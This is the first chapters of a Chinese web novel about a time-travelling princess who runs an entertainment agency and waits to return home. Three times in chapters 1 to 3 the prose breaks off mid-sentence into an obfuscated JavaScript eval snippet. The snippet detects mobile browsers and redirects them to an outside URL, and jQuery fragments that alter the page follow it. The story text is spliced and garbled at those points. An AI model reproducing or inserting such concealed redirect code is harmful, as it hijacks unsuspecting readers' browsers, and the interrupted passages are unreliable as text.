《她,霸总,娱乐圈黑月光》
1. 第 1 章
众所周知,总部位于燕京的其羽传媒有限公司是当今娱乐圈里数一数二的经纪公司。
此时此刻,其羽传媒总裁办公室的老板椅里正坐着一个人。
她穿着一件浅灰色的毛衣,脑后的长发扎成一个干净利落的马尾,线条锋利的脸上没什么表情,望向虚空的眼睛黝黑得像探不到底的深渊。
桌角的一沓名片放在水晶盒子里,每一张上都印着她的名字——芮槐宁,只这三个字便足以让所有业内人士都闻风丧胆。
【确定要提交吗?】
系统空间里响起温柔又威仪的女声,芮槐宁听到后毫不犹豫地回答:【确定。】
她眼睁睁地看着自己的网银账户中那笔天文数字归零,紧接着系统的声音再度响起:【恭喜你,我的孩儿,大业已成,你马上就可以归家了。】
【谢谢,不过你以后可以不用再扮演我母皇了。】芮槐宁一边说着一边往老板椅上一瘫,整个人都放松下来,脸上洋溢着幸福的微笑。
可三分钟过后她有些笑不出来了。她的大晟呢?她的子民呢?她怎么还在总裁办公室里啊?任务不是已经完成了吗?
【系统?系统?】
她尝试召唤系统,可却没有得到任何回应。
“搞什么……”她低声抱怨了一句,眉头微微蹙了起来。
芮槐宁本名芮旳,小字皎皎,27年前她穿越到这个陌生的现代时空中,从大晟的怀宁公主变成了身份不明的婴儿。
昔日的公主就这样流落到了福利院门口,稀里糊涂地觉醒了系统,又稀里糊涂地将系统初始身份设定成了自己的母皇。
为了能够早日回家她奋斗了整整27年啊……终于在今天,在此时此刻,完成了系统要求她赚到的天文数字。
她透过总裁办公室半开的门向外望去,26层分布着自家公司的影视部、综艺部、商务部等几个部门总监的办公室,偶有员工来来往往,一切看起来是那么地井然有序。
这间公司是她八年前成立的,三年前她又一口气租下了华安国际写字楼的25层和26层,在寸土寸金的燕京拥有了宽敞明亮的办公区。
但是她马上就要和这一切说再见了。
且不出意料地,她此刻没有一点留恋的情绪。
毕竟比起这群208万来,她的大晟子民才更需要她,她可是死在了登基前的黎明啊!
想到这里芮槐宁又不由得捏紧了拳头,她还有太多的事情没做,外患方平,奸臣犹在,她是无论如何都必须要回去的……
“笃笃笃。”
外面传来了敲门声,打断了她刚刚飞扬起来的神思。
芮槐宁抬头一看,陆虞渊穿着一身标准的西装三件套靠在门框上,微微曲起的左腿让他此刻的站姿少了一丝呆板,多了一分潇洒。
“不是约了陈导吃饭吗?晚上堵车,我们最好早点出发。”
芮槐宁也不接话,而是上下打量了他一番,然后浅叹了口气:“粉色娇嫩,你如今几岁了?”
陆虞渊低头看了看自己今日份的穿搭,格子衬衫黑领带,搭配粉色马甲和浅灰粉调西装外套,深灰色长裤修身又显腿长,没毛病啊?
于是他露出一个笑,明眸皓齿又带些风流倜傥意味,顺便眨了眨眼睛递去一个泛着涟漪的眼风:“25岁风华正茂,配粉色正好。”
芮槐宁面无表情地闪避过这一阵秋波。
要换作平时她就该按着陆虞渊的头让他把这骚气的马甲和外套赶紧换了,但是现在她分分钟就要和这个美丽的世界说拜拜,所以也懒得再多废话:
“得得得,随你的便,你先去车库候着,不急这一会儿。”
这场面要是放到网上可足够芋圆们心疼小半个月的,她们的虞渊好歹也是手握两部大爆古偶剧一番实绩的男人,什么时候被人这么不客气地对待过?
但陆虞渊本人却只是习以为常地点了点头退了出去,甚至还贴心地带上了门。
而芮槐宁则迫不及待地再次在脑内召唤了系统:
【说好的我在30岁以前赚够钱就能回家呢?现在钱我也交了,时间也没超,你们磨叽什么呢?】
【皎皎莫急,隔壁几个世界出了点小问题,穿越者数量激增,穿越航道交通堵塞,我等已经在处理了。】
【啧……】芮槐宁有些焦躁了,【我母皇大病初愈受不得累,我得赶紧回去继承皇位她才能退休,你们到底能不能行了?】
【能的能的,母皇向皎皎保证,你一定可以回来的,一旦航道开放,皎皎便能于当日清晨七点完成穿越,回到母皇的怀抱中了。】
【早七……你们还真会挑时候。】
她前世就是薨于辰时正,换算过来正好是七点。
彼时她刚刚于太极殿前一刀斩下突厥首领的头颅,刀锋映着阳光端得是耀眼非常。无人料到新皇会在登基这一日用鲜血祭皇位,可她偏偏这样做了。
“孤以眇身,祗奉睿图,日后必斩奸除佞,以靖朝纲!”
她说这话的时候眼睛就直直地看着蒋国雍那个与突厥里应外合的老匹夫,看得他当场便惶遽起来,直像是要溺于裤中了。
战事已了,芮槐宁下一个要杀的便是他。
可她话音落下不久便觉得一阵天旋地转,紧接着一口鲜血从口中喷出,倒下去的那一刻她还在想,幸好这一幕没叫病榻上的母皇看到,否则她老人家怕是要恸绝了。
大概是她的脸色过于难看,系统再次保证道:
【皎皎且安心,无论你何时穿越,都会回到登基当天的。】
得了这句话芮槐宁总算放心许多,不就是交通堵塞吗?她都等了27年了,也不差这十几个钟头。
她重新躺进老板椅里,心中即将回家的激动情绪也逐渐被俗世的烦恼所替代。
那个姓陈的糟老头子还是躲不掉了啊……
陈章桦是香江人,早年警匪片拍得多,后来转型文艺片失败又去霍霍商业片市场,几次三番倒是让他闯出些名堂来。
只是此人匪气太重,要不是当时急着把陆虞渊往电影圈里塞,而芮槐宁自己也有意拓展港圈资源,她是根本不想和陈章桦打交道的。
她深吸一口气打开衣橱准备换身衣服去赴酒局,却在瞟到穿衣镜的时候愣了一下。
镜中的自己表情平静不起一丝波澜,但也没有一点笑模样,正是她这么多年最熟悉也做惯了的不露声色。
她明明很讨厌酒局,也最不耐烦听一群中年老男人大吹特吹,但每次她都忍下来了,陪着笑脸捧哏鼓掌,哄孩子似地重复那几句“您实在见多识广!”、“今天真是受教了!”……
想想都要吐了。
她“嘭”地一声关上衣橱的门,换什么衣服?不换!
在马上就要回去登基的此时此刻,她只想弄死所有看不顺眼的人。又或者换句话说,她从今往后在这个时空里活的每一秒钟都必然不会再委屈自己。
于是地下车库里好不容易等到人的陆虞渊看到的就是她一副素面朝天的样子,牛仔裤、毛衣、长款大衣,平底鞋,朴素得一拐弯就能融入下班回家的疲惫人潮中。
而芮槐宁看着面前好长的一条人懒洋洋地靠在一辆最新款红色保时捷上,见她走近才略微支棱起来,两条眉毛微微蹙起。
怎么?这就看老娘不爽了?
芮槐宁连怼他的话都想好了,下一秒却只听陆虞渊说了句:
“都决定穿浅色了为什么不戴我之前送你的项链啊?”
……?这是重点吗?
“你等我会儿,我让小萌给你送下来。”陆虞渊说完就走到车库出口发消息去了,根本没有给芮槐宁拒绝的机会。
芮槐宁眼见他一副很忙的样子从车库出口走回电梯口,接到首饰盒以后又走回车旁边,然后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903735|176754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
才打开盒子把那条玫瑰金镶粉色蓝宝石的长款项链拿了出来:
“配你这件浅灰的纯色毛衣正好。”
这条项链还是10月26号那天陆虞渊送她的生日礼物。
贵金属打造的项链末端缠绕成一个结,上面镶着荧光闪烁的粉色蓝宝石,不是蝴蝶结那种甜美的样子,倒有点像风衣背后简约飘逸的单尾结。
她穿浅色不多,至今还没戴过。
陆虞渊很耐心地伸着手,好像根本不怕她会不接,而芮槐宁想了一想还是决定在这离别前的最后一天给他这个面子。
她接过项链戴在脖子上,然后绕过车头拉开门坐进了车里。
陆虞渊也坐到驾驶座上,保时捷驶出地库汇进茫茫车流之中,没过多久就不出所料地遇上了拥堵。
五分钟过去开出去一里地,芮槐宁终于闲得无聊开始发表自己对这辆车的意见了:
“这才几天不见啊你就又换车?我要是你我就把这辆小红还有上次那辆小绿以及上上次的小蓝统统卖了直接换辆宾利。”
陆虞渊看了她一眼:“宾利得开出去,跑起来才有意思,就这——”
他伸手指了指前面的长龙:“笼子里的困兽要什么宾利?就算换也是换成劳斯莱斯。”
芮槐宁看了他一眼,这人说的“困兽”究竟是指车还是指他自己呢?
然而很快陆虞渊又话锋一转:“其实最适合我的还是换来换去,毕竟牌子、类型、颜色都不如新鲜感重要。”
这话听得芮槐宁一阵头疼,这货换车的速度就跟他换绯闻女主角的速度一样快,区别在于换车只伤他自个儿个钱包,换绯闻女主坑的却是整个公司。
不过一想到马上要拜拜了,她又重新高兴起来,甚至非常宽容地笑了笑:“换,都可以换。”
在难得和谐的氛围里他们抵达了位于城北的金碧堂皇大酒店。
这个地点是陈导那边选的,芮槐宁一路走进去只觉得被一盏接一盏的水晶吊灯和反光装饰墙闪得头晕,也没品出哪里好,只感受到了一个“土”字。
推开包厢门就见一张不大的圆桌摆在屋子中间,三个大肚腩整整齐齐坐在上位,当间儿一个正嗦着一根点燃的雪茄,味道呛得芮槐宁直接皱起了眉。
左边那位年轻些的梳个油光水滑的大背头,见人进来也跟着起身,口中说着:“哎呀这就是芮总和陆老师吧?我是赵晗,和芮总微信聊过的。”
“您好您好,赵总是常跑两岸三地的大忙人,我们之前都是网友,今天总算是见到真人了。”芮槐宁一边带着陆虞渊上前去握手,眼睛一边往座位上瞟。
雪茄老哥不出意外就是陈章桦,此刻正八风不动地坐着,好像在怪他们来迟了,他右边那位戴个金丝眼镜,也是一副目中无人的样子,自顾自地拿两个指头转酒杯玩儿。
大背头握完手又开始热情地为双方引见,介绍完陈章桦只换得对方微一点头,他尴尬地打了个哈哈硬着头皮继续:“这位是陈导惯常合作的制片人方老师。”
芮槐宁忍着脾气跟着道了句“方老师好”,结果这回人家连点头都没了。
眼见场内气氛降至冰点,陆虞渊往前挪了半步,把已经眯起眼来的芮槐宁挡在身后,又拿起桌上的酒杯和分酒器:
“初次见面却没有提前到场,怎么说让两位前辈等着也是我的不是,我先自罚三杯。”
又来了。
在圈子里沉浮多年,芮槐宁如今已经到了听见“自罚三杯”这四个字就生理性犯恶心的地步。
当年她忍气吞声是为了赚钱回家,那现在呢?明天就再也不见了还忍个什么劲儿呢?
她一把夺过陆虞渊已经放到嘴边的酒杯,“啪”地一下连杯子带酒拍在桌子上,然后掏出手机往两个老家伙脸上怼:
“阿拉伯数字认识吗?约的晚上七点没错吧?你们要不看看现在才几点呢?”
2. 第 2 章
亮起的手机屏幕上明晃晃地显示着“18:31”,芮槐宁此番动作突然,金丝眼镜一副大惊失色的样子直往后躲,陈导则怒喷了一口烟,两条眉毛也竖了起来。
大背头看情况急转直下连忙赶在陈章桦开口之前打起了圆场:
“哎呀几点到的不重要,能相聚就是缘分嘛,和气生财,和气生财,咱们坐下聊哈。”
被这么一打岔陈章桦好像忘了要说什么,最后憋出一句口音不太标准的普通话:“一点规矩都不懂!”,然后袖子一甩,端起大佬的架子不言语了。
说来从他们俩人进门到现在确实还是第一次被招呼落座。
陆虞渊假装拉椅子特地把芮槐宁安排到了离那仨稍远的位子上,而芮槐宁却盯着陈章桦嘴里那根雪茄越看越上头,恨不得现在就冲上去灭了它。
她无意和好,而对方有心找茬,那位方制片先是嫌弃地看了看她的脸,接着便语气很冲地:
“都说女人出门换衣服化妆动作慢,我还同陈导说我们作为绅士等一等不要紧,结果却是这么随便的样子。”
芮槐宁翻了个白眼心想你们这绅士当得也太没成本,自己不换西装不抹粉,挺着个大肚腩都不晓得收一收,却只对女士有要求。
她还没说什么呢,陈章桦又状似随意地瞥了眼桌子底下:“以为芮小姐穿高跟鞋不方便才腿脚慢,原来是一双平底鞋。”
陆虞渊担心地往旁边看去,果然看到芮槐宁不仅眯起了眼睛,甚至还扬起了唇角:“是的呀,我一米七的个头本就出挑,再蹬一双高跟鞋生怕陈导矮我半个头呢。”
“你这大陆仔……”陈章桦话说一半又被芮槐宁提高声音盖了过去:
“陈导从我们进门屁股都没挪一下也没站起来比过,我只看您坐着就这么说似乎也好没道理。”
陈章桦愣了一下不知道她什么意思,芮槐宁微微一笑又继续道:
“我猜陈导天生比例差腿又短,坐着只看个上半身勉强还没那么辣眼睛,可没准站起来只到我肩膀也不一定呢。”
陈章桦本人个子确实不高,平日里就格外在意且听不得人说嘴,此刻一张脸更是已然涨成了猪肝色,左手夹着雪茄右手指着芮槐宁“你你你”了半天也没“你”出什么东西来。
倒是旁边的金丝眼镜终于有了动静,“腾”地站起来用粤语破口大骂。
芮槐宁听不懂粤语,所以这一连串的脏话气不着她一点儿,而陈章桦得了提示才恍然大悟,原来自己根本用不着想半天普通话里骂人的词。
他正要开口发挥,手里的雪茄却突然被芮槐宁夺了去,他的视线跟着雪茄一道往斜上方走,最后竟看到这玩意儿被塞进了他旁边方大制片人的嘴里,顿时就止住了那滔滔不绝的脏话。
陈章桦从业半生没见过这等阵仗,此时已经看得呆了,而刚刚被芮槐宁往嘴里塞了好宝贝的方制片也是一脸吓傻了的懵圈样。
“吵死了。”芮槐宁淡淡说完这句又想坐回座位上,陆虞渊却忙不迭地光速打开包厢门把她往外推,顺便将车钥匙塞进了她手里:
“你胆子是真大。还不赶紧走,小心他们一会儿反应过来揍你。”
小声说完这句他又高声叫来服务员:“这位女士有些不舒服,麻烦你们把她送到停车场去,谢谢!”
“我好着呢你甭瞎叫唤……”芮槐宁还很不情愿的样子,“老男人真差劲,说不过就诉诸暴力……”
但是大背头此时也跟了过来,一边说着“您先走,陆老师有我照顾”一边紧着带上了包厢的门。
芮槐宁被两个服务员小姑娘半扶半架地送到了停车场,又在燕京的秋风中站了一分钟,然后突然觉得这样不行。
她果断转身杀了回去,大约是看起来太不好惹,一路上遇见的食客和服务生都在自动给她让道。
到了包厢门前,芮槐宁很不客气地一脚将门踹开,紧接着果然看见陆虞渊面前一溜小酒杯,里面全是满上的白酒,一看就知道又是“赔罪”那套。
她瞪了站在门边的大背头一眼,直接将陆虞渊拉到身后,再顺手抄起桌上剩的半瓶白酒,一甩臂划出一道漂亮的弧线,那滴滴金贵的酒液就热烈地洒向了座位上的两个老匹夫。
“爱喝多喝,还不够就把地上的也舔了。”芮槐宁丢下这句话就拉着陆虞渊走出了包厢。
一路上陆虞渊就任由她这么牵着,一直到了车子跟前,她坐上驾驶座,陆虞渊刚系好安全带她就一脚油门踩到底。
发动机轰鸣着将他们带离金碧堂皇,直到上了绕城高速芮槐宁才重新开口:“吃什么?姐请你。”
陆虞渊听罢只闷闷地笑,笑着笑着又转为放声大笑,芮槐宁忙着看路又想看他,扭了两次头都没看出来这人突然发的什么疯:“怎么了?魔怔了你?”
“没……”陆虞渊说完一个字又笑,好不容易止住了,一双眼睛望向她,夜色霓虹映得他眼中流光溢彩的,“就是觉得挺过瘾的,有种不顾全世界死活的美感。”
那是当然。
芮槐宁心想,她是一个要回家的人,守这么多年的规矩无非是为了赚钱,但她的钱已经赚够了,所以从今往后的每一天她都会这么活,不退后不让步不低头,只做自己想做的事。
不过……
“你那个戏肯定是彻底黄了。”毕竟她是无所畏惧了,但陆虞渊的生活还得继续。
“没事,这种爱拿架子又爱给人下马威的导演就算真进了他的组日子也不会好过。”
“真没事儿?”芮槐宁不太信地快速扭头又看了他一眼,“没事你能倒一溜小酒杯给人家‘赔罪’?”
这回陆虞渊沉默了一下,然后“嗤”地笑了一声:
“那怎么办?我得罪他一个不要紧,但人家是混港圈的,回去给你添油加醋一传,一群大佬就算是得罪光了,以后那边的资源我是别想再沾边了。”
话是这么说的,可陆虞渊心里却不是这么想的。
事实上把芮槐宁推出门去的第一秒他就在想怎么给这女人善后了。
第二秒反应过来不对,他不该关心芮槐宁的死活,她翻车自己应该在旁边鼓掌才是。
第三秒他对自己说,没错,我是为了陈导那部大戏以及后续更多的港圈资源。
第四秒他已经码齐一排小酒杯,开始往里面倒酒了。
可是洗脑洗脑白洗脑,陆虞渊怎么也没想到芮槐宁还能杀个回马枪把他也带走,搞得好像他不受委屈比什么都重要似的。
他刚才之所以狂笑就是在想:疯了,这女人疯了,这个世界也疯了。
说来芮槐宁之所以通过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903736|176754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赵晗跟陈章桦搭上线,目的确实也不全是为了给陆虞渊找活,主要还是存了接触港圈名导扩大人脉的心思。
但那都是大半年前的算盘了,谁知道陈章桦拿腔拿调地一拿就是好几个月,现在她都要再也不见了才来详谈,且一来就连踩她一串雷点,这不是上赶着找收拾呢吗?
“算了,也别港圈了,你这两年连港圈大门朝哪儿开都不知道不也混得挺红火吗?”芮槐宁安慰他。
陆虞渊表现得很上道,还真就浑不在意地接了句:“我也这么想。旧的不去新的不来,能看到你刚才那个样子我今天这趟就不能算亏。”
?芮槐宁心里打了个问号,从后视镜里瞄了他一眼:“你什么意思?”
陆虞渊往她耳朵边凑了凑,压低了声音:“芮总冲冠一怒的样子,又帅又美。”
“嘶……”芮槐宁被他的气息弄得耳朵痒痒的,忙往边上躲了一下,“我警告你别妨碍驾驶啊。”
其实她话说到一半的时候陆虞渊就已经坐回去了,眼神也看向了车窗,就是不知道是在瞧窗外的景色还是在看车窗上她的倒影。
“小青蛙吃吗?”陆虞渊像是随口一问。
可芮槐宁的眼睛登时就亮了起来,陆虞渊也无意识地跟着笑了。
“吃!”辣辣的,嫩嫩的,香香的,嘿嘿,小青蛙,嘿嘿……芮槐宁已经开始流口水了。
“边上应急车道停一下,我来开吧,我知道一家田鸡馆子特别有水平。”
芮槐宁快乐地从命,把方向盘交给了他。
陆虞渊找的是一个类似郊区农家乐的地方,到了以后他先做贼似的压低了帽檐然后才走下车,芮槐宁“啧啧”两声干脆走到前面开道,又揽了一切同人交流的活计。
陆虞渊成了个甩手掌柜,直到菜上齐,包间门关上,他才抬起头把鸭舌帽拿了下来。
芮槐宁看过来的眼神里明晃晃地写着“嫌弃”二字,导致陆虞渊一对上她的目光就非常熟练地开始装委屈:
“干嘛?金碧堂皇那种地方的保密性都是钱堆出来的,可是农家乐不一样啊,不是我想装逼,而是我目前的人气不允许我低调。”
芮槐宁扫了眼窗外,又轻飘飘地看回来:“你要是真不想被认出来,第一要义就是别开那么骚包的车。”
陆虞渊顺着她刚才视线的方向看过去,农家小院的黄土地上自己那辆红色保时捷仿佛正在闪闪发光。
他把头扭回来:“我们还是吃饭吧。”
最后这顿田鸡宴总算吃得芮槐宁心满意足,甚至开始琢磨着赶明儿得让尚食局也给安排上。
心情一好她说话也和善许多,一杯饭后茶下肚,她闲聊似的开了个新话题:
“你以后打算怎么办啊?”
饶是陆虞渊悟性再高也猜不到她此刻问的其实是“我不在了以后你有什么计划”,他还道是芮槐宁仍在纠结电影资源的事,于是很没所谓地说:
“资源没了再找就是了,电影暂时接不到的话我就接着回去拍偶像剧呗,反正还不是一样地赚钱。”
他这话说完芮槐宁半晌没吭声,好一会儿才将视线从茶杯上移到对面人的脸上:
“你是真的喜欢演戏吗?”
“又或者说,”芮槐宁顿了一下,“你是真的喜欢赚钱吗?”
3. 第 3 章
对面陆虞渊哈哈一笑:“你这话说得,世界上难道还有人不喜欢赚钱吗?”
芮槐宁听罢却没什么反应,仍是刚才那副表情将他望着:“大家都爱财,但爱财的程度也分高低。你陆虞渊,是真的喜欢赚钱吗?”
陆虞渊静了两秒钟,然后又笑了:“哎呀怎么突然说起这个来了?我又不嫌钱咬手,有得赚就先赚着呗,以后的事情以后再说嘛。”
他这么一敷衍芮槐宁就作罢了,今天如果没有金碧堂皇里那一出,她根本也不会多问这么一句废话。
芮槐宁自认为这是“人之将死,其言也善”,毕竟大家相识一场,她最后也想“好为人师”一回,给小帅哥掰正一下后面的人生道路。
但她忘了在陆虞渊的意识中还多得是“以后”,所以现在她说什么都不会太有分量的。
随便吧。
后来直到陆虞渊开车把她送回家,俩人也再没有更多的交流。
芮槐宁到家之后洗漱完毕往床上一躺,手机屏幕正好亮了一下,她点开一看是一条微信消息。
【冉燃燃:槐宁亦未寝?】
“神经。”芮槐宁低声笑骂了一句,回他:【叫姐】
发消息的这人大名叫冉凌天,三年前跟陆虞渊前后脚进的公司,目前是个小有名气的歌手。
【冉燃燃:双排滴滴?】
很明显地,冉凌天直接无视了她刚才那条消息,但这种情况并不是第一次发生,而且这大喜的日子里芮槐宁也懒得跟一个比自己还小六岁的小朋友计较了:
【来。今天就轻松一点吧,我想登小号去黄金区炸鱼】
冉凌天很快回了一个“OK”的手势,芮槐宁又追一条:【开麦哈】
即便是在一众歌手里冉凌天的声音也是格外好听的,有一种细腻的磨砂质感,中低音区尤其动人,个人特色非常鲜明,就算是大合唱里也很容易被分辨出来。
芮槐宁乐意跟他打游戏有三成是因为喜欢听他说话的声音。
二人峡谷相见,芮槐宁依旧一手刺客带飞,而冉凌天这几个月新练的对抗路玩得也是炉火纯青。
黄金分段对两个荣耀王者来说实在没有难度,所以他们一边打一边还有闲心开麦瞎聊。
“你干嘛不用生日的时候我送你的新皮肤啊?”冉凌天丝毫没有掩饰语气中的不满。
芮槐宁心说你们男的真的好在意这些细节,生日礼物收了就非得用上才行是吧?
不过她嘴上还是哄小孩儿似的:“用用用,下把就用可以吧?”
“那说好了啊。”
芮槐宁对他这种打钩钩一样的行为嗤之以鼻:“你废话好多啊,论文写完了吗?”
果然屏幕那头顿时爆发出一阵哀嚎:“啊啊啊师父你别念了我知错了!”
芮槐宁愉快地笑了:“提醒你一下而已嘛,你马上就喜提圣诞假期了,好好写完论文才有时间回来跑通告啊。”
“黄世仁。”冉凌天小声地抗议道。
他其实一直都在美国读书,虽然才21岁但是已经快要研究生毕业了,不过学的专业跟娱乐圈其实八竿子打不着,本科金融,硕士工商管理。
“你要是嫌累呢,江南台的跨年晚会我可就帮你推掉了哦?”芮槐宁很坏心眼地逗他。
冉凌天否定得很快:“别别别,跨年还是要去的,歌手就是要上晚会!”
芮槐宁这头“哈哈”地笑,笑完了她才道:“那你就好好准备。”
姐姐会在另一个世界给你祝福的!
两个人玩到差不多11点的时候芮槐宁开始催他:“你不吃个午餐收拾收拾去学校吗?说自己在家写论文的我一般默认是在哄鬼哦。”
冉凌天的声音听起来有点小得意:“你怎么知道我现在不在学校里?我早上八点就来了好吗,抽空打两把而已,马上我就回图书馆了。”
“不错嘛,是个乖孩子。”芮槐宁说完这句就准备关麦下线了,可她一句“那就拜拜咯”还没说出口呢就听到冉凌天说:
“你能不能别老拿我当小孩儿啊。”
他说这话时声调比平时更低,也不像是在抱怨或者开玩笑。
虽然敏锐地察觉到了冉凌天的情绪变化,但芮槐宁犹豫片刻还是选择了四两拨千斤:“怎么?你翅膀硬了?”
那边沉默了一阵,接着一句吐字清晰、语气认真的话传到了她的耳朵里:
“我21了,马上就要毕业彻底回国了,以后我会有更多的时间来见你。你生日的时候我送你的皮肤是情侣款的,我们刚才最后一把排位还用了。”
那头像是给自己留了个气口,但她一口气还没喘上来呢就又听到一句:
“芮槐宁,你要装不知道吗?”
她略有些绝望地闭上了眼睛。
谁能告诉她现在应该怎么办?她能装信号不好没听到吗?哪家好人非要挑临别前一晚说这种话啊?
“哈哈,怎么突然说这个。”她光速思考着应对策略,着急忙慌间感觉自己的智商都滑坡了,且这句似曾相识的话还是俩小时之前陆虞渊刚刚说过的。
但是冉凌天明显比她更油盐不进,似乎完全没打算就此放过她:“你敢说你对我一点感觉都没有吗?”
这个嘛……
芮槐宁刚要说“敢”,冉凌天就比她更快地接着道:“如果真没有的话,你会在一开始的时候就明确拒绝我,而不是打个哈哈想糊弄过去。我说得对吗?”
对、对吗?
芮槐宁也懵了,该说不说她的第一反应里确实没考虑过一把子给他拒了拉倒。
“行了我回去写论文了,剩下的等我回国再说。你早点休息,不许熬夜。”说完冉凌天就下麦了。
芮槐宁在心里疯狂咆哮:别啊!这还说个头啊,等你回来我早就回去了!
但是再咆哮也并无作用,她只能呆呆地看着冉凌天灰掉的头像,第一次觉得自己的谈判口才在双边对话中没有得到一点发挥。
刚才她的思路怎么就被这小子带着跑了呢?
芮槐宁想了半天也没想明白,甚至还多出了新的烦恼。
系统给她设定的离开方式是“猝死”,时候一到她就会带着这副和上辈子一模一样的身体美美穿越回去,而这个世界里最后只会留下一具足够以假乱真的“尸体”。
无论她拒绝还是答应冉凌天,在她“挂了”以后他都难免会伤心的。
也许什么都不说才是最好的选择吧。
芮槐宁在床上烙了十分钟的饼之后还是决定给冉凌天留下一个openending算了。
她本来就没想过要跟这个世界里的人说再见的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903737|176754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
芮槐宁对自己的定位就是一个误入此地的过客,虽然当年系统提出的要求很过分,送她的金手指也够难用的,但她从来都没有考虑过“完成任务回家”之外的任何其他选项。
她那早就准备荣升太上皇的亲妈还在等着她回去呢,她家里是真的有皇位要继承的,还有蒋国雍那个卖国贼,她一定要他死!
但是经过和冉凌天的连麦,芮槐宁最终还是在睡觉前从通讯录里翻出几个人名,然后一一发送了两个字:
【晚安】
发完她就把手机一关扔到了一边。
再见了各位,再也不见了。
次日清晨,当第一缕阳光照到芮槐宁的脸上时,她下意识地觉得自己大约是穿越成功了,她应该已经回到了三十岁生辰当天,即将在万众瞩目下荣登大宝。
一想到今天还有很多事情要做,芮槐宁就很快清醒了。
但她刚睁开眼就愣住了,右手边熟悉的深蓝色窗帘和身上柔软的浅灰色鸭绒被都在提醒她:这是她在现代的卧室。
不是吧什么情况,难道现在还没到七点吗?
她急忙翻下床找到了前一晚被自己乱扔的手机,在满心的忐忑中等待开机。
好容易等到手机开机成功,一堆消息提示音争先恐后地响了起来,而亮起的屏幕上面清楚地显示着“08:49”。
芮槐宁立时就炸毛了:【系统!这是怎么回事?】
【穿越航道仍在堵塞中,皎皎莫急。】
【什么航道能堵十几个小时啊?你们耍我呢?】
【好孩子,母皇保证你一定会顺利穿回来的,再等等,好吗?】
昨晚芮槐宁自己还在哄小孩儿呢,谁能想到她此时此刻竟然被系统这个假妈妈当小孩儿哄了?这都什么现世报啊……
【你最好说的是真的!】
关上系统通讯频道后她又把手机随便一扔,然后颓败地往床上一躺。登基大计被迫推迟,她现在有种无所事事的空虚感。
但是很快手机铃声就响了起来,大概率是发消息没得到她回复的哪个家伙开始打电话了。
芮槐宁痛苦地把脸皱成一团……谁敢信昨天晚上居然是她十多年以来第一次夜里手机关机?为什么每次工作上的事都能舞出一种“这个地球没了她就不转了”的感觉啊?
她很快决定装死。
虽然今天没死成,但是她明天应该也死定了,提前感受一下狗带后的平静也没什么不可以的对吧?
芮槐宁果断地开启了手机上的静音模式,然后重新倒回了柔软的大床上。
约莫一个小时后她家的门铃响了。
她侧过身又把被子拉高蒙住耳朵,但那门铃声犹如魔音穿耳,“叮咚叮咚”响得简直烦死个人。
“我靠!有完没完啊!”芮槐宁暴怒地从床上坐了起来,然后在孜孜不倦的“叮咚”声中穿过走廊冲向客厅,最后一把拉开大门,“究竟是哪个不长眼的?”
门口站着的奚檐似乎对此女的起床气接受良好,直接恍若未闻地把手贴到了她的额头上,略微感受了一下还“嗯”了一声:“问题不大,没发烧。”
他弯腰拿起放在地上的几个塑料袋,里面依稀是鱼和蔬菜一类的东西。
“让让。”奚檐把她往旁边赶了赶,进门的动作比回家还自然。
4. 第 4 章
不是,你们演电影的都这么闲的吗?
芮槐宁被奚檐这出搞得有点懵圈,抠了抠脑壳跟着他往厨房走,还顺手帮他把冰箱门也打开了。
奚檐一边往里放东西一边道:“只要半个月不管,你这冰箱里就空得能住人,你平时都只喝露水的吗?”
“世界上有一种东西叫外卖。”芮槐宁无语地斜了他一眼,然后脚下就开始往卧室方向移动。
“睡多了当心变小猪。”奚檐的声音从她背后传来,“你昨天几点睡的?”
“十一点,怎么地吧?”芮槐宁一边说着一边头也不回地进了卧室。
然而失去的睡意收不回,她在床上看着天花板躺了足足五分钟还是眼睛瞪得像铜铃,最后带着一点对奚檐扰人清梦的怨气玩起了手机。
工作消息统统划走,一直翻到很下面她才瞥到奚檐的消息,他应该是昨晚收到“晚安”后第一个回复她的人。
芮槐宁点进去一看,奚檐第一句话是【晚安。】不过后面很快又跟了一句【你没事吧?】
芮槐宁觉得这人对自己的了解程度有时候还真是有点恐怖了。
【说声晚安我就有事了?狗咬吕洞宾】她选择以攻为守。
很快卧室外面就传来了敲门声:“睡不着就起来吃饭,都中午了。”
“都怪你!你不敲门我还能再睡会儿呢。”虽然依然不爽,但芮槐宁还是勉强下了床。
洗漱过后她往餐桌那边走,在看到中间那盆香辣水煮鱼时偷偷咽了咽口水。
“算你小子识相,姐姑且原谅你了。”
“装姐都装到我面前来了?”奚檐一边说一边拿碗给她舀了好些肥美的鱼片。
